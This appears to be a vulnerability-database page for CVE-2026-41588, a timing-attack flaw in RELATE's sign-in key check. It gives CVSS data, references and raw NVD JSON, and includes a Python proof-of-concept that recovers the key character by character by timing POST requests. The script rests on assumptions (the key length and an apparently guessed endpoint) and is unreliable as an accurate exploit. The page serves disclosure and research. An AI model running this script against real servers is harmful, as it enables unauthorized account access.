CVE-2026-41588

Description

RELATE is a web-based courseware package. Prior to commit 2f68e16, there is a timing attack vulnerability in course/auth.py — check_sign_in_key(). This issue has been patched via commit 2f68e16.

CVSS Details

CVSS Score

9.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

RELATE (commit < 2f68e16)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time
import string

# Target URL and parameters
TARGET_URL = "http://target-relate-server/course/auth/sign_in"
CHARSET = string.ascii_letters + string.digits
KEY_LENGTH = 32 # Assumed key length

# Timing attack PoC logic
def extract_key():
    discovered_key = ""
    for i in range(KEY_LENGTH):
        timings = {}
        for char in CHARSET:
            # Construct payload with current guess
            payload = {"key": discovered_key + char}
            
            # Measure response time
            start_time = time.time()
            try:
                requests.post(TARGET_URL, data=payload, timeout=5)
            except:
                pass
            elapsed = time.time() - start_time
            timings[char] = elapsed
        
        # Determine the character that caused the longest delay (likely correct)
        best_char = max(timings, key=timings.get)
        discovered_key += best_char
        print(f"Discovered byte {i+1}/{KEY_LENGTH}: {best_char}")
    
    return discovered_key

if __name__ == "__main__":
    print("Starting timing attack...")
    recovered_key = extract_key()
    print(f"Recovered key: {recovered_key}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41588
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41588
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41588/
[4] VulDB https://vuldb.com/cve/CVE-2026-41588
[5] https://github.com/inducer/relate/commit/2f68e16cd3b96d25c188c1aa3f7e13cdb15cdaeb
[6] https://github.com/inducer/relate/security/advisories/GHSA-78j7-9xr9-2728

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41588", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:16:43.363", "lastModified": "2026-05-08T16:08:15.570", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "RELATE is a web-based courseware package. Prior to commit 2f68e16, there is a timing attack vulnerability in course/auth.py — check_sign_in_key(). This issue has been patched via commit 2f68e16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "references": [{"url": "https://github.com/inducer/relate/commit/2f68e16cd3b96d25c188c1aa3f7e13cdb15cdaeb", "source": "[email protected]"}, {"url": "https://github.com/inducer/relate/security/advisories/GHSA-78j7-9xr9-2728", "source": "[email protected]"}]}}